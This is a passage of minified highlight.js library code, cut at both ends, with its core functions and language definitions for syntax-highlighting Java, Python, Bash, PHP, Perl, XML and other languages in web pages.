\/]*>/g,"\n")):n=e,l=n.textContent,r=s?f(s,l,!0):g(l),t=u(n),t.length&&(o=document.createElementNS("http://www.w3.org/1999/xhtml","div"),o.innerHTML=r.value,r.value=c(t,u(o),l)),r.value=p(r.value),e.innerHTML=r.value,e.className=h(e.className,s,r.language),e.result={language:r.language,re:r.r},r.second_best&&(e.second_best={language:r.second_best.language,re:r.second_best.r}))}function b(e){I=o(I,e)}function v(){if(!v.called){v.called=!0;var e=document.querySelectorAll("pre code");E.forEach.call(e,d)}}function m(){addEventListener("DOMContentLoaded",v,!1),addEventListener("load",v,!1)}function N(n,t){var r=y[n]=t(e);r.aliases&&r.aliases.forEach(function(e){L[e]=n})}function R(){return x(y)}function w(e){return e=(e||"").toLowerCase(),y[e]||y[L[e]]}var E=[],x=Object.keys,y={},L={},k=/^(no-?highlight|plain|text)$/i,B=/\blang(?:uage)?-([\w-]+)\b/i,M=/((^(<[^>]+>|\t|)+|(?:\n)))/gm,C="</span>",I={classPrefix:"hljs-",tabReplace:null,useBR:!1,languages:void 0};return e.highlight=f,e.highlightAuto=g,e.fixMarkup=p,e.highlightBlock=d,e.configure=b,e.initHighlighting=v,e.initHighlightingOnLoad=m,e.registerLanguage=N,e.listLanguages=R,e.getLanguage=w,e.inherit=o,e.IR="[a-zA-Z]\\w*",e.UIR="[a-zA-Z_]\\w*",e.NR="\\b\\d+(\\.\\d+)?",e.CNR="(-?)(\\b0[xX][a-fA-F0-9]+|(\\b\\d+(\\.\\d*)?|\\.\\d+)([eE][-+]?\\d+)?)",e.BNR="\\b(0b[01]+)",e.RSR="!|!=|!==|%|%=|&|&&|&=|\\*|\\*=|\\+|\\+=|,|-|-=|/=|/|:|;|<<|<<=|<=|<|===|==|=|>>>=|>>=|>=|>>>|>>|>|\\?|\\[|\\{|\\(|\\^|\\^=|\\||\\|=|\\|\\||~",e.BE={b:"\\\\[\\s\\S]",r:0},e.ASM={cN:"string",b:"'",e:"'",i:"\\n",c:[e.BE]},e.QSM={cN:"string",b:'"',e:'"',i:"\\n",c:[e.BE]},e.PWM={b:/\b(a|an|the|are|I'm|isn't|don't|doesn't|won't|but|just|should|pretty|simply|enough|gonna|going|wtf|so|such|will|you|your|they|like|more)\b/},e.C=function(n,t,r){var a=e.inherit({cN:"comment",b:n,e:t,c:[]},r||{});return a.c.push(e.PWM),a.c.push({cN:"doctag",b:"(?:TODO|FIXME|NOTE|BUG|XXX):",r:0}),a},e.CLCM=e.C("//","$"),e.CBCM=e.C("/\\*","\\*/"),e.HCM=e.C("#","$"),e.NM={cN:"number",b:e.NR,r:0},e.CNM={cN:"number",b:e.CNR,r:0},e.BNM={cN:"number",b:e.BNR,r:0},e.CSSNM={cN:"number",b:e.NR+"(%|em|ex|ch|rem|vw|vh|vmin|vmax|cm|mm|in|pt|pc|px|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx)?",r:0},e.RM={cN:"regexp",b:/\//,e:/\/[gimuy]*/,i:/\n/,c:[e.BE,{b:/\[/,e:/\]/,r:0,c:[e.BE]}]},e.TM={cN:"title",b:e.IR,r:0},e.UTM={cN:"title",b:e.UIR,r:0},e.METHOD_GUARD={b:"\\.\\s*"+e.UIR,r:0},e});hljs.registerLanguage("java",function(e){var a="[À-ʸa-zA-Z_$][À-ʸa-zA-Z_$0-9]*",t=a+"(<"+a+"(\\s*,\\s*"+a+")*>)?",r="false synchronized int abstract float private char boolean static null if const for true while long strictfp finally protected import native final void enum else break transient catch instanceof byte super volatile case assert short package default double public try this switch continue throws protected public private module requires exports do",s="\\b(0[bB]([01]+[01_]+[01]+|[01]+)|0[xX]([a-fA-F0-9]+[a-fA-F0-9_]+[a-fA-F0-9]+|[a-fA-F0-9]+)|(([\\d]+[\\d_]+[\\d]+|[\\d]+)(\\.([\\d]+[\\d_]+[\\d]+|[\\d]+))?|\\.([\\d]+[\\d_]+[\\d]+|[\\d]+))([eE][-+]?\\d+)?)[lLfF]?",c={cN:"number",b:s,r:0};return{aliases:["jsp"],k:r,i:/<\/|#/,c:[e.C("/\\*\\*","\\*/",{r:0,c:[{b:/\w+@/,r:0},{cN:"doctag",b:"@[A-Za-z]+"}]}),e.CLCM,e.CBCM,e.ASM,e.QSM,{cN:"class",bK:"class interface",e:/[{;=]/,eE:!0,k:"class interface",i:/[:"\[\]]/,c:[{bK:"extends implements"},e.UTM]},{bK:"new throw return else",r:0},{cN:"function",b:"("+t+"\\s+)+"+e.UIR+"\\s*\\(",rB:!0,e:/[{;=]/,eE:!0,k:r,c:[{b:e.UIR+"\\s*\\(",rB:!0,r:0,c:[e.UTM]},{cN:"params",b:/\(/,e:/\)/,k:r,r:0,c:[e.ASM,e.QSM,e.CNM,e.CBCM]},e.CLCM,e.CBCM]},c,{cN:"meta",b:"@[A-Za-z]+"}]}});hljs.registerLanguage("python",function(e){var r={keyword:"and elif is global as in if from raise for except finally print import pass return exec else break not with class assert yield try while continue del or def lambda async await nonlocal|10 None True False",built_in:"Ellipsis NotImplemented"},b={cN:"meta",b:/^(>>>|\.\.\.) /},c={cN:"subst",b:/\{/,e:/\}/,k:r,i:/#/},a={cN:"string",c:[e.BE],v:[{b:/(u|b)?r?'''/,e:/'''/,c:[b],r:10},{b:/(u|b)?r?"""/,e:/"""/,c:[b],r:10},{b:/(fr|rf|f)'''/,e:/'''/,c:[b,c]},{b:/(fr|rf|f)"""/,e:/"""/,c:[b,c]},{b:/(u|r|ur)'/,e:/'/,r:10},{b:/(u|r|ur)"/,e:/"/,r:10},{b:/(b|br)'/,e:/'/},{b:/(b|br)"/,e:/"/},{b:/(fr|rf|f)'/,e:/'/,c:[c]},{b:/(fr|rf|f)"/,e:/"/,c:[c]},e.ASM,e.QSM]},s={cN:"number",r:0,v:[{b:e.BNR+"[lLjJ]?"},{b:"\\b(0o[0-7]+)[lLjJ]?"},{b:e.CNR+"[lLjJ]?"}]},i={cN:"params",b:/\(/,e:/\)/,c:["self",b,s,a]};return c.c=[a,s,b],{aliases:["py","gyp"],k:r,i:/(<\/|->|\?)|=>/,c:[b,s,a,e.HCM,{v:[{cN:"function",bK:"def"},{cN:"class",bK:"class"}],e:/:/,i:/[${=;\n,]/,c:[e.UTM,i,{b:/->/,eW:!0,k:"None"}]},{cN:"meta",b:/^[\t ]*@/,e:/$/},{b:/\b(print|exec)\(/}]}});hljs.registerLanguage("css",function(e){var c="[a-zA-Z-][a-zA-Z0-9_-]*",t={b:/[A-Z\_\.\-]+\s*:/,rB:!0,e:";",eW:!0,c:[{cN:"attribute",b:/\S/,e:":",eE:!0,starts:{eW:!0,eE:!0,c:[{b:/[\w-]+\(/,rB:!0,c:[{cN:"built_in",b:/[\w-]+/},{b:/\(/,e:/\)/,c:[e.ASM,e.QSM]}]},e.CSSNM,e.QSM,e.ASM,e.CBCM,{cN:"number",b:"#[0-9A-Fa-f]+"},{cN:"meta",b:"!important"}]}}]};return{cI:!0,i:/[=\/|'\$]/,c:[e.CBCM,{cN:"selector-id",b:/#[A-Za-z0-9_-]+/},{cN:"selector-class",b:/\.[A-Za-z0-9_-]+/},{cN:"selector-attr",b:/\[/,e:/\]/,i:"$"},{cN:"selector-pseudo",b:/:(:)?[a-zA-Z0-9\_\-\+\(\)"'.]+/},{b:"@(font-face|page)",l:"[a-z-]+",k:"font-face page"},{b:"@",e:"[{;]",i:/:/,c:[{cN:"keyword",b:/\w+/},{b:/\s/,eW:!0,eE:!0,r:0,c:[e.ASM,e.QSM,e.CSSNM]}]},{cN:"selector-tag",b:c,r:0},{b:"{",e:"}",i:/\S/,c:[e.CBCM,t]}]}});hljs.registerLanguage("http",function(e){var t="HTTP/[0-9\\.]+";return{aliases:["https"],i:"\\S",c:[{b:"^"+t,e:"$",c:[{cN:"number",b:"\\b\\d{3}\\b"}]},{b:"^[A-Z]+ (.*?) "+t+"$",rB:!0,e:"$",c:[{cN:"string",b:" ",e:" ",eB:!0,eE:!0},{b:t},{cN:"keyword",b:"[A-Z]+"}]},{cN:"attribute",b:"^\\w",e:": ",eE:!0,i:"\\n|\\s|=",starts:{e:"$",r:0}},{b:"\\n\\n",starts:{sL:[],eW:!0}}]}});hljs.registerLanguage("bash",function(e){var t={cN:"variable",v:[{b:/\$[\w\d#@][\w\d_]*/},{b:/\$\{(.*?)}/}]},s={cN:"string",b:/"/,e:/"/,c:[e.BE,t,{cN:"variable",b:/\$\(/,e:/\)/,c:[e.BE]}]},a={cN:"string",b:/'/,e:/'/};return{aliases:["sh","zsh"],l:/\b-?[a-z\._]+\b/,k:{keyword:"if then else elif fi for while in do done case esac function",literal:"true false",built_in:"break cd continue eval exec exit export getopts hash pwd readonly return shift test times trap umask unset alias bind builtin caller command declare echo enable help let local logout mapfile printf read readarray source type typeset ulimit unalias set shopt autoload bg bindkey bye cap chdir clone comparguments compcall compctl compdescribe compfiles compgroups compquote comptags comptry compvalues dirs disable disown echotc echoti emulate fc fg float functions getcap getln history integer jobs kill limit log noglob popd print pushd pushln rehash sched setcap setopt stat suspend ttyctl unfunction unhash unlimit unsetopt vared wait whence where which zcompile zformat zftp zle zmodload zparseopts zprof zpty zregexparse zsocket zstyle ztcp",_:"-ne -eq -lt -gt -f -d -e -s -l -a"},c:[{cN:"meta",b:/^#![^\n]+sh\s*$/,r:10},{cN:"function",b:/\w[\w\d_]*\s*\(\s*\)\s*\{/,rB:!0,c:[e.inherit(e.TM,{b:/\w[\w\d_]*/})],r:0},e.HCM,s,a,t]}});hljs.registerLanguage("shell",function(s){return{aliases:["console"],c:[{cN:"meta",b:"^\\s{0,3}[\\w\\d\\[\\]()@-]*[>%$#]",starts:{e:"$",sL:"bash"}}]}});hljs.registerLanguage("json",function(e){var i={literal:"true false null"},n=[e.QSM,e.CNM],r={e:",",eW:!0,eE:!0,c:n,k:i},t={b:"{",e:"}",c:[{cN:"attr",b:/"/,e:/"/,c:[e.BE],i:"\\n"},e.inherit(r,{b:/:/})],i:"\\S"},c={b:"\\[",e:"\\]",c:[e.inherit(r)],i:"\\S"};return n.splice(n.length,0,t,c),{c:n,k:i,i:"\\S"}});hljs.registerLanguage("ini",function(e){var b={cN:"string",c:[e.BE],v:[{b:"'''",e:"'''",r:10},{b:'"""',e:'"""',r:10},{b:'"',e:'"'},{b:"'",e:"'"}]};return{aliases:["toml"],cI:!0,i:/\S/,c:[e.C(";","$"),e.HCM,{cN:"section",b:/^\s*\[+/,e:/\]+/},{b:/^[a-z0-9\[\]_-]+\s*=\s*/,e:"$",rB:!0,c:[{cN:"attr",b:/[a-z0-9\[\]_-]+/},{b:/=/,eW:!0,r:0,c:[{cN:"literal",b:/\bon|off|true|false|yes|no\b/},{cN:"variable",v:[{b:/\$[\w\d"][\w\d_]*/},{b:/\$\{(.*?)}/}]},b,{cN:"number",b:/([\+\-]+)?[\d]+_[\d_]+/},e.NM]}]}]}});hljs.registerLanguage("coffeescript",function(e){var c={keyword:"in if for while finally new do return else break catch instanceof throw try this switch continue typeof delete debugger super yield import export from as default await then unless until loop of by when and or is isnt not",literal:"true false null undefined yes no on off",built_in:"npm require console print module global window document"},n="[A-Za-z$_][0-9A-Za-z$_]*",r={cN:"subst",b:/#\{/,e:/}/,k:c},i=[e.BNM,e.inherit(e.CNM,{starts:{e:"(\\s*/)?",r:0}}),{cN:"string",v:[{b:/'''/,e:/'''/,c:[e.BE]},{b:/'/,e:/'/,c:[e.BE]},{b:/"""/,e:/"""/,c:[e.BE,r]},{b:/"/,e:/"/,c:[e.BE,r]}]},{cN:"regexp",v:[{b:"///",e:"///",c:[r,e.HCM]},{b:"//[gim]*",r:0},{b:/\/(?![ *])(\\\/|.)*?\/[gim]*(?=\W|$)/}]},{b:"@"+n},{sL:"javascript",eB:!0,eE:!0,v:[{b:"```",e:"```"},{b:"`",e:"`"}]}];r.c=i;var s=e.inherit(e.TM,{b:n}),t="(\\(.*\\))?\\s*\\B[-=]>",o={cN:"params",b:"\\([^\\(]",rB:!0,c:[{b:/\(/,e:/\)/,k:c,c:["self"].concat(i)}]};return{aliases:["coffee","cson","iced"],k:c,i:/\/\*/,c:i.concat([e.C("###","###"),e.HCM,{cN:"function",b:"^\\s*"+n+"\\s*=\\s*"+t,e:"[-=]>",rB:!0,c:[s,o]},{b:/[:\(,=]\s*/,r:0,c:[{cN:"function",b:t,e:"[-=]>",rB:!0,c:[o]}]},{cN:"class",bK:"class",e:"$",i:/[:="\[\]]/,c:[{bK:"extends",eW:!0,i:/[:="\[\]]/,c:[s]},s]},{b:n+":",e:":",rB:!0,rE:!0,r:0}])}});hljs.registerLanguage("nginx",function(e){var r={cN:"variable",v:[{b:/\$\d+/},{b:/\$\{/,e:/}/},{b:"[\\$\\@]"+e.UIR}]},b={eW:!0,l:"[a-z/_]+",k:{literal:"on off yes no true false none blocked debug info notice warn error crit select break last permanent redirect kqueue rtsig epoll poll /dev/poll"},r:0,i:"=>",c:[e.HCM,{cN:"string",c:[e.BE,r],v:[{b:/"/,e:/"/},{b:/'/,e:/'/}]},{b:"([a-z]+):/",e:"\\s",eW:!0,eE:!0,c:[r]},{cN:"regexp",c:[e.BE,r],v:[{b:"\\s\\^",e:"\\s|{|;",rE:!0},{b:"~\\*?\\s+",e:"\\s|{|;",rE:!0},{b:"\\*(\\.[a-z\\-]+)+"},{b:"([a-z\\-]+\\.)+\\*"}]},{cN:"number",b:"\\b\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}(:\\d{1,5})?\\b"},{cN:"number",b:"\\b\\d+[kKmMgGdshdwy]*\\b",r:0},r]};return{aliases:["nginxconf"],c:[e.HCM,{b:e.UIR+"\\s+{",rB:!0,e:"{",c:[{cN:"section",b:e.UIR}],r:0},{b:e.UIR+"\\s",e:";|{",rB:!0,c:[{cN:"attribute",b:e.UIR,starts:b}],r:0}],i:"[^\\s\\}]"}});hljs.registerLanguage("javascript",function(e){var r="[A-Za-z$_][0-9A-Za-z$_]*",t={keyword:"in of if for while finally var new function do return void else break catch instanceof with throw case default try this switch continue typeof delete let yield const export super debugger as async await static import from as",literal:"true false null undefined NaN Infinity",built_in:"eval isFinite isNaN parseFloat parseInt decodeURI decodeURIComponent encodeURI encodeURIComponent escape unescape Object Function Boolean Error EvalError InternalError RangeError ReferenceError StopIteration SyntaxError TypeError URIError Number Math Date String RegExp Array Float32Array Float64Array Int16Array Int32Array Int8Array Uint16Array Uint32Array Uint8Array Uint8ClampedArray ArrayBuffer DataView JSON Intl arguments require module console window document Symbol Set Map WeakSet WeakMap Proxy Reflect Promise"},a={cN:"number",v:[{b:"\\b(0[bB][01]+)"},{b:"\\b(0[oO][0-7]+)"},{b:e.CNR}],r:0},n={cN:"subst",b:"\\$\\{",e:"\\}",k:t,c:[]},c={cN:"string",b:"`",e:"`",c:[e.BE,n]};n.c=[e.ASM,e.QSM,c,a,e.RM];var s=n.c.concat([e.CBCM,e.CLCM]);return{aliases:["js","jsx"],k:t,c:[{cN:"meta",r:10,b:/^\s*['"]use (strict|asm)['"]/},{cN:"meta",b:/^#!/,e:/$/},e.ASM,e.QSM,c,e.CLCM,e.CBCM,a,{b:/[{,]\s*/,r:0,c:[{b:r+"\\s*:",rB:!0,r:0,c:[{cN:"attr",b:r,r:0}]}]},{b:"("+e.RSR+"|\\b(case|return|throw)\\b)\\s*",k:"return throw case",c:[e.CLCM,e.CBCM,e.RM,{cN:"function",b:"(\\(.*?\\)|"+r+")\\s*=>",rB:!0,e:"\\s*=>",c:[{cN:"params",v:[{b:r},{b:/\(\s*\)/},{b:/\(/,e:/\)/,eB:!0,eE:!0,k:t,c:s}]}]},{b:/</,e:/(\/\w+|\w+\/)>/,sL:"xml",c:[{b:/<\w+\s*\/>/,skip:!0},{b:/<\w+/,e:/(\/\w+|\w+\/)>/,skip:!0,c:[{b:/<\w+\s*\/>/,skip:!0},"self"]}]}],r:0},{cN:"function",bK:"function",e:/\{/,eE:!0,c:[e.inherit(e.TM,{b:r}),{cN:"params",b:/\(/,e:/\)/,eB:!0,eE:!0,c:s}],i:/\[|%/},{b:/\$[(.]/},e.METHOD_GUARD,{cN:"class",bK:"class",e:/[{;=]/,eE:!0,i:/[:"\[\]]/,c:[{bK:"extends"},e.UTM]},{bK:"constructor",e:/\{/,eE:!0}],i:/#(?!!)/}});hljs.registerLanguage("makefile",function(e){var i={cN:"variable",v:[{b:"\\$\\("+e.UIR+"\\)",c:[e.BE]},{b:/\$[@%<?\^\+\*]/}]},r={cN:"string",b:/"/,e:/"/,c:[e.BE,i]},a={cN:"variable",b:/\$\([\w-]+\s/,e:/\)/,k:{built_in:"subst patsubst strip findstring filter filter-out sort word wordlist firstword lastword dir notdir suffix basename addsuffix addprefix join wildcard realpath abspath error warning shell origin flavor foreach if or and call eval file value"},c:[i]},n={b:"^"+e.UIR+"\\s*[:+?]?=",i:"\\n",rB:!0,c:[{b:"^"+e.UIR,e:"[:+?]?=",eE:!0}]},t={cN:"meta",b:/^\.PHONY:/,e:/$/,k:{"meta-keyword":".PHONY"},l:/[\.\w]+/},l={cN:"section",b:/^[^\s]+:/,e:/$/,c:[i]};return{aliases:["mk","mak"],k:"define endef undefine ifdef ifndef ifeq ifneq else endif include -include sinclude override export unexport private vpath",l:/[\w-]+/,c:[e.HCM,i,r,a,n,t,l]}});hljs.registerLanguage("apache",function(e){var r={cN:"number",b:"[\\$%]\\d+"};return{aliases:["apacheconf"],cI:!0,c:[e.HCM,{cN:"section",b:"</?",e:">"},{cN:"attribute",b:/\w+/,r:0,k:{nomarkup:"order deny allow setenv rewriterule rewriteengine rewritecond documentroot sethandler errordocument loadmodule options header listen serverroot servername"},starts:{e:/$/,r:0,k:{literal:"on off all"},c:[{cN:"meta",b:"\\s\\[",e:"\\]$"},{cN:"variable",b:"[\\$%]\\{",e:"\\}",c:["self",r]},r,e.QSM]}}],i:/\S/}});hljs.registerLanguage("php",function(e){var c={b:"\\$+[a-zA-Z_-ÿ][a-zA-Z0-9_-ÿ]*"},i={cN:"meta",b:/<\?(php)?|\?>/},t={cN:"string",c:[e.BE,i],v:[{b:'b"',e:'"'},{b:"b'",e:"'"},e.inherit(e.ASM,{i:null}),e.inherit(e.QSM,{i:null})]},a={v:[e.BNM,e.CNM]};return{aliases:["php3","php4","php5","php6"],cI:!0,k:"and include_once list abstract global private echo interface as static endswitch array null if endwhile or const for endforeach self var while isset public protected exit foreach throw elseif include __FILE__ empty require_once do xor return parent clone use __CLASS__ __LINE__ else break print eval new catch __METHOD__ case exception default die require __FUNCTION__ enddeclare final try switch continue endfor endif declare unset true false trait goto instanceof insteadof __DIR__ __NAMESPACE__ yield finally",c:[e.HCM,e.C("//","$",{c:[i]}),e.C("/\\*","\\*/",{c:[{cN:"doctag",b:"@[A-Za-z]+"}]}),e.C("__halt_compiler.+?;",!1,{eW:!0,k:"__halt_compiler",l:e.UIR}),{cN:"string",b:/<<<['"]?\w+['"]?$/,e:/^\w+;?$/,c:[e.BE,{cN:"subst",v:[{b:/\$\w+/},{b:/\{\$/,e:/\}/}]}]},i,{cN:"keyword",b:/\$this\b/},c,{b:/(::|->)+[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*/},{cN:"function",bK:"function",e:/[;{]/,eE:!0,i:"\\$|\\[|%",c:[e.UTM,{cN:"params",b:"\\(",e:"\\)",c:["self",c,e.CBCM,t,a]}]},{cN:"class",bK:"class interface",e:"{",eE:!0,i:/[:\(\$"]/,c:[{bK:"extends implements"},e.UTM]},{bK:"namespace",e:";",i:/[\.']/,c:[e.UTM]},{bK:"use",e:";",c:[e.UTM]},{b:"=>"},t,a]}});hljs.registerLanguage("perl",function(e){var t="getpwent getservent quotemeta msgrcv scalar kill dbmclose undef lc ma syswrite tr send umask sysopen shmwrite vec qx utime local oct semctl localtime readpipe do return format read sprintf dbmopen pop getpgrp not getpwnam rewinddir qqfileno qw endprotoent wait sethostent bless s|0 opendir continue each sleep endgrent shutdown dump chomp connect getsockname die socketpair close flock exists index shmgetsub for endpwent redo lstat msgctl setpgrp abs exit select print ref gethostbyaddr unshift fcntl syscall goto getnetbyaddr join gmtime symlink semget splice x|0 getpeername recv log setsockopt cos last reverse gethostbyname getgrnam study formline endhostent times chop length gethostent getnetent pack getprotoent getservbyname rand mkdir pos chmod y|0 substr endnetent printf next open msgsnd readdir use unlink getsockopt getpriority rindex wantarray hex system getservbyport endservent int chr untie rmdir prototype tell listen fork shmread ucfirst setprotoent else sysseek link getgrgid shmctl waitpid unpack getnetbyname reset chdir grep split require caller lcfirst until warn while values shift telldir getpwuid my getprotobynumber delete and sort uc defined srand accept package seekdir getprotobyname semop our rename seek if q|0 chroot sysread setpwent no crypt getc chown sqrt write setnetent setpriority foreach tie sin msgget map stat getlogin unless elsif truncate exec keys glob tied closedirioctl socket readlink eval xor readline binmode setservent eof ord bind alarm pipe atan2 getgrent exp time push setgrent gt lt or ne m|0 break given say state when",r={cN:"subst",b:"[$@]\\{",e:"\\}",k:t},s={b:"->{",e:"}"},n={v:[{b:/\$\d/},{b:/[\$%@](\^\w\b|#\w+(::\w+)*|{\w+}|\w+(::\w*)*)/},{b:/[\$%@][^\s\w{]/,r:0}]},i=[e.BE,r,n],o=[n,e.HCM,e.C("^\\=\\w","\\=cut",{eW:!0}),s,{cN:"string",c:i,v:[{b:"q[qwxr]?\\s*\\(",e:"\\)",r:5},{b:"q[qwxr]?\\s*\\[",e:"\\]",r:5},{b:"q[qwxr]?\\s*\\{",e:"\\}",r:5},{b:"q[qwxr]?\\s*\\|",e:"\\|",r:5},{b:"q[qwxr]?\\s*\\<",e:"\\>",r:5},{b:"qw\\s+q",e:"q",r:5},{b:"'",e:"'",c:[e.BE]},{b:'"',e:'"'},{b:"`",e:"`",c:[e.BE]},{b:"{\\w+}",c:[],r:0},{b:"-?\\w+\\s*\\=\\>",c:[],r:0}]},{cN:"number",b:"(\\b0[0-7_]+)|(\\b0x[0-9a-fA-F_]+)|(\\b[1-9][0-9_]*(\\.[0-9_]+)?)|[0_]\\b",r:0},{b:"(\\/\\/|"+e.RSR+"|\\b(split|return|print|reverse|grep)\\b)\\s*",k:"split return print reverse grep",r:0,c:[e.HCM,{cN:"regexp",b:"(s|tr|y)/(\\\\.|[^/])*/(\\\\.|[^/])*/[a-z]*",r:10},{cN:"regexp",b:"(m|qr)?/",e:"/[a-z]*",c:[e.BE],r:0}]},{cN:"function",bK:"sub",e:"(\\s*\\(.*?\\))?[;{]",eE:!0,r:5,c:[e.TM]},{b:"-\\w\\b",r:0},{b:"^__DATA__$",e:"^__END__$",sL:"mojolicious",c:[{b:"^@@.*",e:"$",cN:"comment"}]}];return r.c=o,s.c=o,{aliases:["pl","pm"],l:/[\w\.]+/,k:t,c:o}});hljs.registerLanguage("objectivec",function(e){var t={cN:"built_in",b:"\\b(AV|CA|CF|CG|CI|CL|CM|CN|CT|MK|MP|MTK|MTL|NS|SCN|SK|UI|WK|XC)\\w+"},_={keyword:"int float while char export sizeof typedef const struct for union unsigned long volatile static bool mutable if do return goto void enum else break extern asm case short default double register explicit signed typename this switch continue wchar_t inline readonly assign readwrite self @synchronized id typeof nonatomic super unichar IBOutlet IBAction strong weak copy in out inout bycopy byref oneway __strong __weak __block __autoreleasing @private @protected @public @try @property @end @throw @catch @finally @autoreleasepool @synthesize @dynamic @selector @optional @required @encode @package @import @defs @compatibility_alias __bridge __bridge_transfer __bridge_retained __bridge_retain __covariant __contravariant __kindof _Nonnull _Nullable _Null_unspecified __FUNCTION__ __PRETTY_FUNCTION__ __attribute__ getter setter retain unsafe_unretained nonnull nullable null_unspecified null_resettable class instancetype NS_DESIGNATED_INITIALIZER NS_UNAVAILABLE NS_REQUIRES_SUPER NS_RETURNS_INNER_POINTER NS_INLINE NS_AVAILABLE NS_DEPRECATED NS_ENUM NS_OPTIONS NS_SWIFT_UNAVAILABLE NS_ASSUME_NONNULL_BEGIN NS_ASSUME_NONNULL_END NS_REFINED_FOR_SWIFT NS_SWIFT_NAME NS_SWIFT_NOTHROW NS_DURING NS_HANDLER NS_ENDHANDLER NS_VALUERETURN NS_VOIDRETURN",literal:"false true FALSE TRUE nil YES NO NULL",built_in:"BOOL dispatch_once_t dispatch_queue_t dispatch_sync dispatch_async dispatch_once"},i=/[a-zA-Z@][a-zA-Z0-9_]*/,n="@interface @class @protocol @implementation";return{aliases:["mm","objc","obj-c"],k:_,l:i,i:"</",c:[t,e.CLCM,e.CBCM,e.CNM,e.QSM,{cN:"string",v:[{b:'@"',e:'"',i:"\\n",c:[e.BE]},{b:"'",e:"[^\\\\]'",i:"[^\\\\][^']"}]},{cN:"meta",b:"#",e:"$",c:[{cN:"meta-string",v:[{b:'"',e:'"'},{b:"<",e:">"}]}]},{cN:"class",b:"("+n.split(" ").join("|")+")\\b",e:"({|$)",eE:!0,k:n,l:i,c:[e.UTM]},{b:"\\."+e.UIR,r:0}]}});hljs.registerLanguage("xml",function(s){var e="[A-Za-z0-9\\._:-]+",t={eW:!0,i:/</,r:0,c:[{cN:"attr",b:e,r:0},{b:/=\s*/,r:0,c:[{cN:"string",endsParent:!0,v:[{b:/"/,e:/"/},{b:/'/,e:/'/},{b:/[^\s"'=<>`]+/}]}]}]};return{aliases:["html","xhtml","rss","atom","xjb","xsd","xsl","plist"],cI:!0,c:[{cN:"meta",b:"<!DOCTYPE",e:">",r:10,c:[{b:"\\[",e:"\\]"}]},s.C("<!--","-->",{r:10}),{b:"<\\!\\[CDATA\\[",e:"\\]\\]>",r:10},{b:/<\?(php)?/,e:/\?>/,sL:"php",c:[{b:"/\\*",e:"\\*/",skip:!0}]},{cN:"tag",b:"<style(?=\\s|>|$)",e:">",k:{name:"style"},c:[t],starts:{e:"</style>",rE:!0,sL:["css","xml"]}},{cN:"tag",b:"<script(?=\\s|>|$)",e:">",k:{name:"script"},c:[t],starts:{e:"</script>",rE:!0,sL:["actionscript","javascript","handlebars","xml"]}},{cN:"meta",v:[{b:/<\?xml/,e:/\?>/,r:10},{b:/<\?\w+/,e:/\?>/}]},{cN:"tag",b:"</?",e:"/?>",c:[{cN:"name",b:/[^\/><\s]+/,r:0},t]}]}});hljs.registerLanguage("markdown",function(e){return{aliases:["md","mkdown","mkd"],c:[{cN:"section",v:[{b:"^#{1,6}",e:"$"},{b:"^.+?\\n[=-]{2,}$"}]},{b:"<",e:">",sL:"xml",r:0},{cN:"bullet",b:"^([*+-]|(\\d+\\.))\\s+"},{cN:"strong",b:"[*_]{2}.+?[*_]{2}"},{cN:"emphasis",v:[{b:"\\*.+?\\*"},{b:"_.+?_",r:0}]},{cN:"quote",b:"^>\\s+",e:"$"},{cN:"code",v:[{b:"^```w*s*$",e:"^```s*$"},{b:"`.+?`"},{b:"^( {4}|	)",e:"$",r:0}]},{b:"^[-\\*]{3,}",e:"$"},{b:"\\[.+?\\][\\(\\[].*?[\\)\\]]",rB:!0,c:[{cN:"string",b:"\\[",e:"\\]",eB:!0,rE:!0,r:0},{cN:"link",b:"\\]\\(",e:"\\)",eB:!0,eE:!0},{cN:"symbol",b:"\\]\\[",e:"\\]",eB:!0,eE:!0}],r:10},{b:/^\[[^\n]+\]:/,rB:!0,c:[{cN:"symbol",b:/\[/,e:/\]/,eB:!0,eE:!0},{cN:"link",b:/:\s*/,e:/$/,eB:!0}]}]}});hljs.registerLanguage("diff",function(e){return{aliases:["patch"],c:[{cN:"meta",r:10,v:[{b:/^@@ +\-\d+,\d+ +\+\d+,\d+ +@@$/},{b:/^\*\*\* +\d+,\d+ +\*\*\*\*$/},{b:/^\-\-\- +\d+,\d+ +\-\-\-\-$/}]},{cN:"comment",v:[{b:/Index: /,e:/$/},{b:/={3,}/,e:/$/},{b:/^\-{3}/,e:/$/},{b:/^\*{3} /,e:/$/},{b:/^\+{3}/,e:/$/},{b:/\*{5}/,e:/\*{5}$/}]},{cN:"addition",b:"^\\+",e:"$"},{cN:"deletion",b:"^\\-",e:"$"},{cN:"addition",b:"^\\!",e:"$"}]}});hljs.registerLanguage("cs",function(e){var i={keyword:"abstract as base bool break byte case catch char checked const continue decimal default delegate do double enum event explicit extern finally fixed float for foreach goto if implicit in int interface internal is lock long nameof object operator out override params private protected public readonly ref sbyte sealed short sizeof stackalloc static string struct switch this try typeof uint ulong unchecked unsafe ushort using virtual void volatile while add alias ascending async await by descending dynamic equals from get global group into join let on orderby partial remove select set value var where yield",literal:"null false true"},t={cN:"string",b:'@"',e:'"',c:[{b:'""'}]},r=e.inherit(t,{i:/\n/}),a={cN:"subst",b:"{",e:"}",k:i},c=e.inherit(a,{i:/\n/}),n={cN:"string",b:/\$"/,e:'"',i:/\n/,c:[{b:"{{"},{b:"}}"},e.BE,c]},s={cN:"string",b:/\$@"/,e:'"',c:[{b:"{{"},{b:"}}"},{b:'""'},a]},o=e.inherit(s,{i:/\n/,c:[{b:"{{"},{b:"}}"},{b:'""'},c]});a.c=[s,n,t,e.ASM,e.QSM,e.CNM,e.CBCM],c.c=[o,n,r,e.ASM,e.QSM,e.CNM,e.inherit(e.CBCM,{i:/\n/})];var l={v:[s,n,t,e.ASM,e.QSM]},b=e.IR+"(<"+e.IR+"(\\s*,\\s*"+e.IR+")*>)?(\\[\\])?";return{aliases:["csharp"],k:i,i:/::/,c:[e.C("///","$",{rB:!0,c:[{cN:"doctag",v:[{b:"///",r:0},{b:"<!--|-->"},{b:"</?",e:">"}]}]}),e.CLCM,e.CBCM,{cN:"meta",b:"#",e:"$",k:{"meta-keyword":"if else elif endif define undef warning error line region endregion pragma checksum"}},l,e.CNM,{bK:"class 